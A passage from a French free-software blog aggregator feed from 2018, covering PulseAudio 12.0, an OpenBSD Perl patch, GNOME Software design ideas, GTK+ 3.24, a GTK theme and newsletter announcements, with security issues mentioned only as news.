<li>un rapport bien plus précis de la latence pour les périphériques <a href="https://fr.wikipedia.org/wiki/Apple_AirPlay">AirPlay</a></li>
<li>la correction d’un plantage ou d’une consommation excessive de CPU avec le pilote Intel HDMI LPE</li>
<li>la sortie <a href="https://fr.wikipedia.org/wiki/High-Definition_Multimedia_Interface">HDMI</a> est désormais prioritaire sur la sortie <a href="https://fr.wikipedia.org/wiki/S/PDIF">S/PDIF</a></li>
<li>la prise en charge du HSP pour plus de casques Bluetooth</li>
<li>le choix du profil Bluetooth A2DP par défaut plutôt que HSP</li>
<li>les périphériques Steelseries Arctis 7 et Dell Thunderbolt Dock TB16 voient leur prise en charge améliorée</li>
<li>la correction d’une mauvaise configuration <a href="https://fr.wikipedia.org/wiki/Advanced_Linux_Sound_Architecture">ALSA</a> qui empêchait l’utilisation de l’entrée numérique de certaines cartes son USB</li>
<li>l’ajout d’une nouvelle option <em>dereverb</em> pour l’annuleur d’écho <a href="https://fr.wikipedia.org/wiki/Speex">Speex</a> qui améliore la suppression de l’effet de <a href="https://fr.wikipedia.org/wiki/R%C3%A9verb%C3%A9ration_(acoustique)">réverbération</a></li>
</ul><p>Sans oublier les nombreuses améliorations plus anecdotiques et autres corrections de bugs. Vous pouvez consulter le <a href="https://www.freedesktop.org/wiki/Software/PulseAudio/Notes/12.0/">changelog complet</a> sur le site officiel.</p>
<p>Il est également important de rappeler l’existence d’un projet de financement participatif (sur <a href="https://www.patreon.com/tanuk">Patreon</a> et <a href="https://liberapay.com/tanuk/">Liberapay</a>) permettant à Tanu Kaskinen, le mainteneur de PulseAudio, de pouvoir se consacrer à plein temps au projet.</p>
<p><img src="media/bb7cd4d3.f4241788ba5559af3601b72220cbad09" data-original-source="http://cdn.libravatar.org/avatar/f4241788ba5559af3601b72220cbad09" alt="Gravatar de Okki" class="gravatar" /><br/><i>Original post of <a href="https://www.gnomelibre.fr/2018/06/sortie-de-pulseaudio-12-0/" title="Visit the source">Okki</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Tuxicoman : <a href="">Debian : connecter une sortie audio bluetooth</a> (21/04/2017)</li><li>Okki : <a href="">Sortie de CPU-X 2.2.0</a> (22/11/2015)</li><li>Okki : <a href="">Sortie de CPU-X 3.0.1</a> (02/09/2016)</li><li>Okki : <a href="">Sortie de PulseEffects 1.6.6</a> (25/06/2017)</li></ul></div></p>


feed_id: https://obsd4a.net/blog/index.php?article50/syspatch-patches-perl-plus-intelfpu-pour-openbsd
title: Thuban : Syspatch : Patches Perl + intelfpu pour OpenBSD
uri: Thuban-Syspatch-Patches-Perl-intelfpu-pour-OpenBSD
url: https://obsd4a.net/blog/index.php?article50/syspatch-patches-perl-plus-intelfpu-pour-openbsd
content:
<p>L'équipe OpenBSD nous a livré hier un correctif pour <strong>Perl</strong>.</p>

<p>En effet, le module <strong>Archive::Tar</strong> de Perl peut être utilisé pour écrire des fichiers en-dehors de son répertoire de travail.</p>

<p>OS concernés : <span><a href="https://www.openbsd.org/errata62.html">6.2</a> : <em>n°<a href="https://ftp.openbsd.org/pub/OpenBSD/patches/6.2/common/016_perl.patch.sig">16</a></em>, <a href="https://www.openbsd.org/errata63.html">6.3</a> : <em>n°<a href="https://ftp.openbsd.org/pub/OpenBSD/patches/6.3/common/011_perl.patch.sig">11</a></em></span><br>
Architectures concernées : <span>amd64, arm64, i386</span></p>

<p> </p>

<hr><p> </p>

<p>Elle nous livre aussi la version du correctif <a href="https://obsd4a.net/blog/index.php?article49/syspatch-patch-10-intelfpu-pour-openbsd"><strong>intelfpu</strong></a> mais cette fois-ci pour OpenBSD <strong>6.2</strong> - <em>patch n°<a href="https://ftp.openbsd.org/pub/OpenBSD/patches/6.2/common/017_intelfpu.patch.sig">17</a></em> - et seulement pour l'architecture <strong>amd64</strong>.</p>

<p>Ce correctif nécessite un redémarrage !</p>

<p> </p>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://obsd4a.net/blog/index.php?article50/syspatch-patches-perl-plus-intelfpu-pour-openbsd" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://www.gnomelibre.fr/2018/06/design-sprint-autour-de-logiciels/
title: Okki : Design sprint autour de Logiciels
uri: Okki-Design-sprint-autour-de-Logiciels
url: https://www.gnomelibre.fr/2018/06/design-sprint-autour-de-logiciels/
content:
<p>Il y a quelques semaines, plusieurs personnes de chez Canonical (de l’équipe en charge de la boutique, de Snap, du design et du desktop) ainsi que <a href="https://blogs.gnome.org/hughsie/">Richard Hughes</a>, le mainteneur de <a href="https://wiki.gnome.org/Apps/Software">Logiciels</a>, se sont <a href="https://blog.ubuntu.com/2018/06/20/report-from-the-gnome-software-design-sprint">réunis à Londres</a> pour discuter d’une liste d’améliorations possibles concernant la logithèque.</p>
<figure><a href="media/7492d125.logiciels_328.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/06/logiciels_328.png"><img src="media/53e90fbb.logiciels_328-1024x818.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/06/logiciels_328-1024x818.png" alt="" width="660" height="527" srcset="https://www.gnomelibre.fr/wp-content/uploads/2018/06/logiciels_328-1024x818.png 1024w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/logiciels_328-300x240.png 300w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/logiciels_328-768x613.png 768w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/logiciels_328.png 1042w" sizes="(max-width: 660px) 100vw, 660px"></a><figcaption>La page d’accueil de l’actuel Logiciels 3.28</figcaption></figure><p>Parmi les nombreuses idées qui ont été discutées, on peut retenir :</p>
<ul><li>Des éditeurs (développeurs) vérifiés. Un moyen de signaler à l’utilisateur qu’un éditeur a subi un contrôle prouvant qu’il est bien celui qu’il prétend être. Cela sera d’autant plus utile qu’avec la démocratisation à venir des paquets <a href="https://flatpak.org/">Flatpak</a> ou <a href="https://snapcraft.io/">Snap</a> qui pourront être fournis directement par les développeurs sans passer par les packageurs de la distribution, les utilisateurs auront besoin de s’assurer qu’ils n’installent pas des applications dangereuses. Et là, on pense tout de suite à la <a href="https://www.nextinpact.com/brief/ubuntu---des-malwares-caches-dans-des-snaps-sur-la-boutique-3924.htm">récente affaire des malwares</a> cachés dans certains paquets Snap de la boutique Ubuntu.</li>
<li>Une façon de signaler des problèmes avec les applications. Que ce soit directement auprès de l’éditeur ou par l’intermédiaire de la logithèque.</li>
<li>Une présentation améliorée et la possibilité pour les éditeurs d’ajouter des thèmes et des illustrations supplémentaires à la page de leur application. Les différentes propositions incluent l’ajout de badges pour montrer qu’une application est populaire dans certaines catégories, son niveau de confinement, la possibilité d’ajouter une bannière personnalisée, la prise en charge des GIFs et des vidéos (ce qui pourrait donner plus facilement une première idée des possibilités d’une application ou d’un jeu avant son téléchargement).</li>
<li>Un écran d’accueil rafraîchi pour faire apparaître de nouvelles applications, des applications ou des greffons liés à ce que l’utilisateur a déjà installé, ainsi que des nouvelles et des mises à jour en provenance de nos développeurs d’applications préférées.</li>
</ul><p>Il est prévu que <a href="https://gitlab.gnome.org/Community/Design">les maquettes</a> soient ajoutées sur GitLab pour être discutées publiquement, mais pour le moment, il n’y a malheureusement rien à se mettre sous la dent.</p>
<p>Une chose est sûre, un ravalement de façade ne sera pas du luxe, surtout quand on voit à quel point la version actuelle fait vieillotte en comparaison du tout <a href="https://www.macg.co/os-x/2018/06/visite-guidee-les-principales-nouveautes-de-macos-mojave-102587#le-mac-app-store-aux-petits-soins">nouveau Mac App Store</a> qui doit débarquer cet automne (quel troll gratuit <img src="media/f0105b2f.1f601.png" data-original-source="https://s.w.org/images/core/emoji/2.4/72x72/1f601.png" alt="😁">).</p>
<p>Maintenant, le côté cosmétique c’est bien, mais je ne cacherai pas que j’aimerai bien qu’ils améliorent la fiabilité et qu’ils implémentent certaines fonctionnalités, dont on a bien du mal à comprendre qu’elles soient toujours absentes (surtout après cinq années de développement). Comme l’état d’avancement et la durée estimée pour le téléchargement des mises à jour ou la possibilité de définir le pourcentage de bande passante réservé à ces mêmes téléchargements.</p>
<p><img src="media/bb7cd4d3.f4241788ba5559af3601b72220cbad09" data-original-source="http://cdn.libravatar.org/avatar/f4241788ba5559af3601b72220cbad09" alt="Gravatar de Okki" class="gravatar" /><br/><i>Original post of <a href="https://www.gnomelibre.fr/2018/06/design-sprint-autour-de-logiciels/" title="Visit the source">Okki</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>La vache libre : <a href="">Canonical pourrait abandonner sa logith&egrave;que au profit de Software et c&rsquo;est tant mieux!</a> (05/11/2015)</li><li>Okki : <a href="">Test d&rsquo;utilisabilit&eacute; concernant GNOME et Debian</a> (18/05/2017)</li><li>Okki : <a href="">Hackathon GNOME pour l&rsquo;am&eacute;lioration des performances</a> (17/05/2018)</li></ul></div></p>


feed_id: https://blog.m0le.net/2018/06/23/la-fin-du-tracking-commence-aussi-sur-le-m0le-o-blog/
title: Nono : La fin du tracking ... commence -aussi- sur le m0le-o-blog
uri: Nono-La-fin-du-tracking-commence-aussi-sur-le-m0le-o-blog
url: https://blog.m0le.net/2018/06/23/la-fin-du-tracking-commence-aussi-sur-le-m0le-o-blog/
content:
<p>Voilà voilà, en suivant le pas de <a target="_blank" href="https://tuxicoman.jesuislibre.net/2018/06/je-retire-loutil-de-statistiques-de-mon-blog.html">Tuxicoman</a> nous nous sommes concertés et force est de constater <strong>qu'on s'en fout un peu des logs / statistiques</strong>..</p>
<p>Surtout si c'est pour compter les gens qui n'ont PAS de bloqueur de pub (a priori, la grosse majorité de l'auditoire du blog, non ?)</p>
<p>Bref, <strong>on retire Piwik/Matomo</strong>, mis en place ici en février 2012. Ça file quand même ..</p>
<p>Juste pour le fun, voici <strong>quelques stats, sorties de <del>nulle part</del></strong> :</p>
<p><a target="_blank" href="media/dd214987.stats_m0le.png" data-original-source="https://blog.m0le.net/wp-content/uploads/2018/06/stats_m0le.png" rel="lightbox[8364]" title="La fin du tracking ... commence -aussi- sur le m0le-o-blog"><img src="media/b0189eed.stats_m0le-1024x636.png" data-original-source="https://blog.m0le.net/wp-content/uploads/2018/06/stats_m0le-1024x636.png" alt="" width="670" height="416" srcset="https://blog.m0le.net/wp-content/uploads/2018/06/stats_m0le-1024x636.png 1024w, https://blog.m0le.net/wp-content/uploads/2018/06/stats_m0le-300x186.png 300w, https://blog.m0le.net/wp-content/uploads/2018/06/stats_m0le-768x477.png 768w" sizes="(max-width: 670px) 100vw, 670px"></a></p>
<p>Je ne vais pas faire d'interprétation parce qu'au final... on s'en fout toujours, non ?</p>
<p>PS : en résumé, m0le-o-blog est sans pub (depuis toujours) et sans tracker !</p>
<p><img src="media/a3f571a1.98838634398c4e1bfce4493ee38ff1e3" data-original-source="http://cdn.libravatar.org/avatar/98838634398c4e1bfce4493ee38ff1e3" alt="Gravatar de Nono" class="gravatar" /><br/><i>Original post of <a href="https://blog.m0le.net/2018/06/23/la-fin-du-tracking-commence-aussi-sur-le-m0le-o-blog/" title="Visit the source">Nono</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://www.gnomelibre.fr/2018/06/nous-aurons-finalement-droit-a-gtk-3-24/
title: Okki : Nous aurons finalement droit à GTK+ 3.24
uri: Okki-Nous-aurons-finalement-droit-à-GTK-3-24
url: https://www.gnomelibre.fr/2018/06/nous-aurons-finalement-droit-a-gtk-3-24/
content:
<p>Quand le développement de <a href="https://fr.wikipedia.org/wiki/GTK%2B">GTK+</a> 4 a commencé, il avait été décidé que GTK+ 3.22 serait la dernière version stable de la branche 3.x. Deux ans plus tard, le développement de GTK+ 4 prenant du retard, nous aurons <a href="https://blog.gtk.org/2018/06/23/a-gtk-3-update/">finalement droit</a> à GTK+ 3.24 au mois de septembre prochain, en même temps que GNOME 3.30.</p>
<p>Les nouveautés seront par contre plutôt limitées. Le sélecteur de polices aura droit à de nouvelles possibilités autour du format de fonte <a href="https://fr.wikipedia.org/wiki/OpenType">OpenType</a> (paramétrage des fonctions offertes par les fontes OpenType, affichage des exemples de fonctionnalités proposées, sélection des variantes…). Si j’ai bien tout compris, nous devrions également avoir droit à l’auto-complétion des émojis. De taper <3 devrait se changer en <img src="media/a822d8be.2764.png" data-original-source="https://s.w.org/images/core/emoji/2.4/72x72/2764.png" alt="❤">. Le backend <a href="https://fr.wikipedia.org/wiki/Wayland">Wayland</a> prendra en charge la <a href="https://fr.wikipedia.org/wiki/M%C3%A9moire_partag%C3%A9e_(communication_inter-processus)">mémoire partagée</a> anonyme sous FreeBSD. Et pour finir, un nombre limité de nouvelles <a href="https://fr.wikipedia.org/wiki/Interface_de_programmation">APIs</a> devrait également faire son apparition.</p>
<p>Et cette fois-ci, GTK+ 3.24 devrait bel et bien conclure l’aventure GTK+ 3. Parallèle amusant, quand on se souvient que GTK+ 2.24 avait conclut celle de GTK+ 2 <img src="media/5b9e83ce.1f60a.png" data-original-source="https://s.w.org/images/core/emoji/2.4/72x72/1f60a.png" alt="😊"></p>
<p><img src="media/bb7cd4d3.f4241788ba5559af3601b72220cbad09" data-original-source="http://cdn.libravatar.org/avatar/f4241788ba5559af3601b72220cbad09" alt="Gravatar de Okki" class="gravatar" /><br/><i>Original post of <a href="https://www.gnomelibre.fr/2018/06/nous-aurons-finalement-droit-a-gtk-3-24/" title="Visit the source">Okki</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Planet Libre : <a href="">Br&egrave;ves du Planet Libre - lundi 13, juillet 2015</a> (13/07/2015)</li></ul></div></p>


feed_id: https://carlchenet.com/le-courrier-du-hacker-lactualite-du-libre-en-un-e-mail/
title: Carl Chenet : Le Courrier du hacker, l’actualité du Libre en un e-mail
uri: Carl-Chenet-Le-Courrier-du-hacker-l-actualité-du-Libre-en-un-e-m
url: https://carlchenet.com/le-courrier-du-hacker-lactualite-du-libre-en-un-e-mail/
content:
<p>Avec déjà plus de 1200 abonnés et 41 numéros publiés, <a href="https://lecourrierduhacker.com/">le Courrier du hacker</a>, la newsletter résumant l’actualité hebdomadaire francophone du Logiciel Libre et Open Source, offre une vue synthétique et complète chaque semaine de l’actualité du Libre, dont on peut parcourir les titres en quelques secondes.</p>
<p><span></span></p>
<hr><p><a href="https://lecourrierduhacker.com/"><img src="media/848ce166.courrierduhacker-logo.png" data-original-source="https://carlchenet.com/wp-content/uploads/2017/09/courrierduhacker-logo.png" alt="" width="818" height="168" srcset="https://carlchenet.com/wp-content/uploads/2017/09/courrierduhacker-logo.png 818w, https://carlchenet.com/wp-content/uploads/2017/09/courrierduhacker-logo-300x62.png 300w, https://carlchenet.com/wp-content/uploads/2017/09/courrierduhacker-logo-768x158.png 768w" sizes="(max-width: 818px) 100vw, 818px"></a>
	<section><form method="POST" data-attr-form-id="1">

													<label for="yikes-easy-mc-form-1-EMAIL">

										<!-- dictate label visibility -->
																					<span>
												E-mail											</span>
										
										<!-- Description Above -->
										
										<input name="EMAIL" placeholder="" required="required" type="email" value=""><!-- Description Below --></label>
									
				<!-- Honeypot Trap -->
				<input type="hidden" name="yikes-mailchimp-honeypot" value=""><!-- List ID --><input type="hidden" name="yikes-mailchimp-associated-list-id" value="22e5c06162"><!-- The form that is being submitted! Used to display error/success messages above the correct form --><input type="hidden" name="yikes-mailchimp-submitted-form" value="1"><!-- Submit Button --><button type="submit"> <span>Submit</span></button>				<!-- Nonce Security Check -->
				<input type="hidden" name="yikes_easy_mc_new_subscriber" value="a1034b7cd5"><input type="hidden" name="_wp_http_referer" value="/category/planet-libre/feed/"></form>
			<!-- MailChimp Form generated by Easy Forms for MailChimp v6.3.30 (https://wordpress.org/plugins/yikes-inc-easy-mailchimp-extender/) -->

			</section></p>
<hr><h2>Les meilleurs articles</h2>
<p>La première section du Courrier du hacker concerne les meilleurs articles de la semaine, qui ont obtenu le plus de votes par les contributeurs du Journal du hacker, le site web d’où sont tirés tous les liens du Courrier du hacker.</p>
<p><a href="https://lecourrierduhacker.com/"><img src="media/0d5ecbc3.lecourrierduhacker-meilleursliens.png" data-original-source="https://carlchenet.com/wp-content/uploads/2018/06/lecourrierduhacker-meilleursliens.png" alt="" width="652" height="185" srcset="https://carlchenet.com/wp-content/uploads/2018/06/lecourrierduhacker-meilleursliens.png 652w, https://carlchenet.com/wp-content/uploads/2018/06/lecourrierduhacker-meilleursliens-300x85.png 300w" sizes="(max-width: 652px) 100vw, 652px"></a></p>
<p>Cette section permet de connaître immédiatement les articles ayant fait le « buzz » au cours de la semaine.</p>
<h2>Des sections pour tous</h2>
<p>Les sections <strong>« Code »</strong> et <strong>« Sysadmin »</strong> permettront aux professionnels de l’informatique de trouver des articles leurs apportant des nouveautés ou des éclaircissements sur leurs sujets professionnels au quotidien.</p>
<p><a href="https://lecourrierduhacker.com/"><img src="media/8438e2d8.code-sysadmin-lecourrierduhacker.png" data-original-source="https://carlchenet.com/wp-content/uploads/2018/06/code-sysadmin-lecourrierduhacker.png" alt="" width="653" height="356" srcset="https://carlchenet.com/wp-content/uploads/2018/06/code-sysadmin-lecourrierduhacker.png 653w, https://carlchenet.com/wp-content/uploads/2018/06/code-sysadmin-lecourrierduhacker-300x164.png 300w" sizes="(max-width: 653px) 100vw, 653px"></a></p>
<p>Les sections <strong>« Vie privée »</strong> et <strong>« Libertés individuelles »</strong> apporteront des articles souvent d’actualité sur la mise en danger de notre vie privée ou de nos libertés fondamentales dans les domaines touchant l’informatique.</p>
<h2>Sur les réseaux sociaux</h2>
<p>Le compte <a href="https://joinmastodon.org/">Mastodon</a> du Courrier du hacker : <a href="https://framapiaf.org/@lecourrierduhacker">https://framapiaf.org/@lecourrierduhacker</a></p>
<p>Le compte <a href="https://twitter.com/">Twitter</a> du Courrier du hacker : <a href="https://twitter.com/courrierhacker">https://twitter.com/courrierhacker</a></p>
<h2><a href="https://framapiaf.org/@lecourrierduhacker"><img src="media/ba6d2bcf.courrierduhacker-framapiaf.png" data-original-source="https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-framapiaf.png" alt="" width="701" height="529" srcset="https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-framapiaf.png 701w, https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-framapiaf-300x226.png 300w" sizes="(max-width: 701px) 100vw, 701px"></a></h2>
<h2>Accès aux archives du Courrier du hacker</h2>
<p>Afin que les archives du Courrier du hacker soient accessibles à tous, nous avons constitué une section d’archives disponibles directement depuis le site web.</p>
<p> </p>
<p><a href="https://lecourrierduhacker.com/"><img src="media/d928286d.lecourrierduhacker-archives-1.png" data-original-source="https://carlchenet.com/wp-content/uploads/2018/06/lecourrierduhacker-archives-1.png" alt="" width="489" height="278" srcset="https://carlchenet.com/wp-content/uploads/2018/06/lecourrierduhacker-archives-1.png 489w, https://carlchenet.com/wp-content/uploads/2018/06/lecourrierduhacker-archives-1-300x171.png 300w" sizes="(max-width: 489px) 100vw, 489px"></a></p>
<p> </p>
<p><img src="media/46f73009.e1f1addc890668ce2561431b7be810bc" data-original-source="http://cdn.libravatar.org/avatar/e1f1addc890668ce2561431b7be810bc" alt="Gravatar de Carl Chenet" class="gravatar" /><br/><i>Original post of <a href="https://carlchenet.com/le-courrier-du-hacker-lactualite-du-libre-en-un-e-mail/" title="Visit the source">Carl Chenet</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Carl Chenet : <a href="">D&eacute;j&agrave; 100 abonn&eacute;s au Courrier du hacker une semaine apr&egrave;s son lancement</a> (20/09/2017)</li><li>Carl Chenet : <a href="">Pourquoi j&rsquo;ai lanc&eacute; le Courrier du hacker, newsletter sur le Logiciel Libre et Open Source</a> (27/09/2017)</li><li>Carl Chenet : <a href="">Le Courrier du hacker : le point apr&egrave;s (d&eacute;j&agrave;) 5 num&eacute;ros et les le&ccedil;ons retenues</a> (16/10/2017)</li><li>Carl Chenet : <a href="">Meilleurs articles 2017 du Courrier du hacker, newsletter du Logiciel Libre</a> (04/01/2018)</li><li>Carl Chenet : <a href="">Newsletter du Courrier du hacker : archives, RSS, Mastodon et Twitter</a> (28/05/2018)</li></ul></div></p>


title: Journal du hacker : Liens intéressants Journal du hacker semaine #25
uri: 2018-06-25-Journal-du-hacker-Liens-intéressants-Journal-du-hacker-semaine-25
feed_id:
https://blog.journalduhacker.net/index.php?article167/liens-interessants-journal-du-hacker-semaine-25-2018

url:
https://blog.journalduhacker.net/index.php?article167/liens-interessants-journal-du-hacker-semaine-25-2018

content:
<p>Pour la 25ème semaine de l'année 2018, voici <strong>10 liens</strong> intéressants que vous avez peut-être ratés, relayés par <a href="https://www.journalduhacker.net/">le Journal du hacker</a>, votre source d’informations pour le Logiciel Libre francophone !</p>

<a href="https://www.journalduhacker.net/"><img src="media/01f45034.logo-journal-du-hacker.png" data-original-source="https://blog.journalduhacker.net/data/medias/logo-journal-du-hacker.png"></a>

<ul><li><a href="https://www.journalduhacker.net/s/szox2n/avenir_du_planet_libre">Avenir du Planet-Libre ?</a></li>
<li><a href="https://www.journalduhacker.net/s/cdqlic/sortie_de_yunohost_3_0_stretch">Sortie de YunoHost 3.0 (Stretch)</a></li>
<li><a href="https://www.journalduhacker.net/s/pu388d/pourquoi_semmerder_h_berger_ses_services">Pourquoi "s'emmerder" à héberger ses services</a></li>
<li><a href="https://www.journalduhacker.net/s/n40vwb/retoucher_vos_photos_librement_avec">Retoucher vos photos librement avec Darktable !</a></li>
<li><a href="https://www.journalduhacker.net/s/6kvhxm/quand_les_chercheurs_se_lib_rent_des">Quand les chercheurs se libèrent des revues scientifiques au coût exorbitant</a></li>
<li><a href="https://www.journalduhacker.net/s/cx3biy/tapplock_ou_le_gadget_num_rique_et">TappLock ou le gadget numérique et l'illusion du progrès</a></li>
<li><a href="https://www.journalduhacker.net/s/bzdhsj/le_smartphone_librem_5_sortira_en_janvier">Le smartphone Librem 5 sortira en janvier 2019</a></li>
<li><a href="https://www.journalduhacker.net/s/r92uwe/chameleon_une_extension_firefox_pour">Chameleon – Une extension Firefox pour bloquer les méthodes de tracking non conventionnelles</a></li>
<li><a href="https://www.journalduhacker.net/s/0qqroc/directive_copyright_combattons_le">Directive Copyright : combattons le filtrage automatisé... et la centralisation du Web !</a></li>
<li><a href="https://www.journalduhacker.net/s/ovlabw/rien_que_pour_vous_inkscape">Rien que pour vous... Inkscape</a></li>
</ul><p>Pour ne plus rater aucun article de la communauté francophone, voici :</p>

<ul><li><a href="https://www.journalduhacker.net/rss">Le flux RSS du Journal du hacker</a></li>
<li><a href="https://twitter.com/journalduhacker">Le compte Twitter du Journal du hacker</a></li>
<li><a href="https://framasphere.org/u/journalduhacker">Le compte Diaspora* du Journal du hacker</a></li>
<li><a href="https://framapiaf.org/@journalduhacker">Le compte Mastodon du Journal du hacker</a></li>
</ul><p>De plus le site web du Journal du hacker est « adaptatif (responsive) ». N’hésitez pas à le consulter depuis votre smartphone ou votre tablette !</p>

<p>Le Journal du hacker fonctionne de manière collaborative, grâce à la participation de ses membres. <a href="https://www.journalduhacker.net/invitations/request">Rejoignez-nous</a> pour proposer vos contenus à partager avec la communauté du Logiciel Libre francophone et faire connaître vos projets !</p>

<p><strong>Et vous ? Qu’avez-vous pensé de ces articles ?</strong> N’hésitez pas à réagir directement dans les commentaires de l’article sur le Journal du hacker ou bien dans les commentaires de ce billet :)</p>
<p><img src="media/ffe97a17.7916ee3cafa0bc3e9583bedad876dcd5" data-original-source="http://cdn.libravatar.org/avatar/7916ee3cafa0bc3e9583bedad876dcd5" alt="Gravatar de Journal du hacker" class="gravatar" /><br/><i>Original post of <a href="https://blog.journalduhacker.net/index.php?article167/liens-interessants-journal-du-hacker-semaine-25-2018" title="Visit the source">Journal du hacker</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Journal du hacker : <a href="">Liens int&eacute;ressants Journal du hacker semaine #25</a> (27/06/2016)</li><li>Journal du hacker : <a href="">Liens int&eacute;ressants Journal du hacker semaine #25</a> (26/06/2017)</li></ul></div></p>


feed_id: https://www.gnomelibre.fr/2018/06/sortie-dun-theme-gtk-inspire-de-macos-mojave/
title: Okki : Sortie d’un thème GTK+ inspiré de macOS Mojave
uri: Okki-Sortie-d-un-thème-GTK-inspiré-de-macOS-Mojave
url: https://www.gnomelibre.fr/2018/06/sortie-dun-theme-gtk-inspire-de-macos-mojave/
content:
<p>Après ses versions Yosemite et High Sierra, <a href="https://www.opendesktop.org/member/455718/">PaulXFCE</a> remet le couvert avec une version Mojave de son thème inspiré de macOS.</p>
<p>Je tiens d’ailleurs à ouvrir une petite parenthèse pour rappeler que la grosse nouveauté de <a href="https://www.macg.co/os-x/2018/06/visite-guidee-les-principales-nouveautes-de-macos-mojave-102587">macOS Majave</a>, dernier bébé d’Apple devant sortir cet automne, est l’apparition d’un thème sombre par défaut, vingt ans après tout le monde <img src="media/a43f838b.1f602.png" data-original-source="https://s.w.org/images/core/emoji/2.4/72x72/1f602.png" alt="😂"></p>
<figure><a href="media/e5e1b19c.theme_gtk_macos_mojave_clair_wallpaper.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/06/theme_gtk_macos_mojave_clair_wallpaper.png"><img src="media/9428091b.theme_gtk_macos_mojave_clair_wallpaper-1024x576.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/06/theme_gtk_macos_mojave_clair_wallpaper-1024x576.png" alt="" width="660" height="371" srcset="https://www.gnomelibre.fr/wp-content/uploads/2018/06/theme_gtk_macos_mojave_clair_wallpaper-1024x576.png 1024w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/theme_gtk_macos_mojave_clair_wallpaper-300x169.png 300w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/theme_gtk_macos_mojave_clair_wallpaper-768x432.png 768w" sizes="(max-width: 660px) 100vw, 660px"></a><figcaption>Le thème GTK+ MJV inspiré de macOS Mojave</figcaption></figure><p>Les personnes intéressées pourront télécharger les fichiers (que ce soit les anciennes versions ou les variantes sombres ou claires) sur <a href="https://www.gnome-look.org/p/1241688/">GNOME Look</a>, qu’il suffira ensuite de décompresser dans le dossier ~/.themes/ puis de sélectionner à l’aide de l’application Ajustements.</p>
<p>Et si vous souhaitez aller jusqu’au bout du mimétisme en installant un dock, des icônes et une police ressemblantes… vous pouvez consulter notre article <a href="https://www.gnomelibre.fr/2017/03/faire-passer-gnome-pour-macos/"><em>Faire passer GNOME pour macOS</em></a>.</p>
		<div data-startingposition="50" data-showlabels="1" data-showcredits="1" data-animate="1" data-mode="horizontal">
		  <img src="media/338c2c9c.theme_gtk_macos_mojave_clair.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/06/theme_gtk_macos_mojave_clair.png" data-label="" data-credit=""><img src="media/d3ffde1a.theme_gtk_macos_mojave_sombre.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/06/theme_gtk_macos_mojave_sombre.png" data-label="" data-credit=""></div>
<p><img src="media/bb7cd4d3.f4241788ba5559af3601b72220cbad09" data-original-source="http://cdn.libravatar.org/avatar/f4241788ba5559af3601b72220cbad09" alt="Gravatar de Okki" class="gravatar" /><br/><i>Original post of <a href="https://www.gnomelibre.fr/2018/06/sortie-dun-theme-gtk-inspire-de-macos-mojave/" title="Visit the source">Okki</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://www.gnomelibre.fr/2018/06/suppression-a-venir-du-menu-de-lapplication/
title: Okki : Suppression à venir du menu de l’application
uri: Okki-Suppression-à-venir-du-menu-de-l-application
url: https://www.gnomelibre.fr/2018/06/suppression-a-venir-du-menu-de-lapplication/
content:
<figure><a href="media/6388eb60.appmenu_gnome_328.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/06/appmenu_gnome_328.png"><img src="media/307e52e8.appmenu_gnome_328-1024x576.png" data-original-source="https://www.gnomelibre.fr/wp-content/uploads/2018/06/appmenu_gnome_328-1024x576.png" alt="" width="660" height="371" srcset="https://www.gnomelibre.fr/wp-content/uploads/2018/06/appmenu_gnome_328-1024x576.png 1024w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/appmenu_gnome_328-300x169.png 300w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/appmenu_gnome_328-768x432.png 768w, https://www.gnomelibre.fr/wp-content/uploads/2018/06/appmenu_gnome_328.png 1523w" sizes="(max-width: 660px) 100vw, 660px"></a><figcaption>Menu de l’application de Builder sous GNOME 3.28</figcaption></figure><p>On va tout d’abord commencer par rappeler de quoi il s’agit, puisque ce menu, maintes fois décrié, n’a jamais obtenu les faveurs des utilisateurs. À tel point que nombre d’entre eux n’ont même jamais remarqué son existence.</p>
<p>Pour citer l’aide officielle, « <em>le menu d’une application, situé à côté du bouton Activités, affiche le nom de l’application en cours avec son icône et permet un accès rapide aux préférences ou à la rubrique d’aide du programme. Les éléments accessibles depuis ce menu varient en fonction de l’application.</em> »</p>
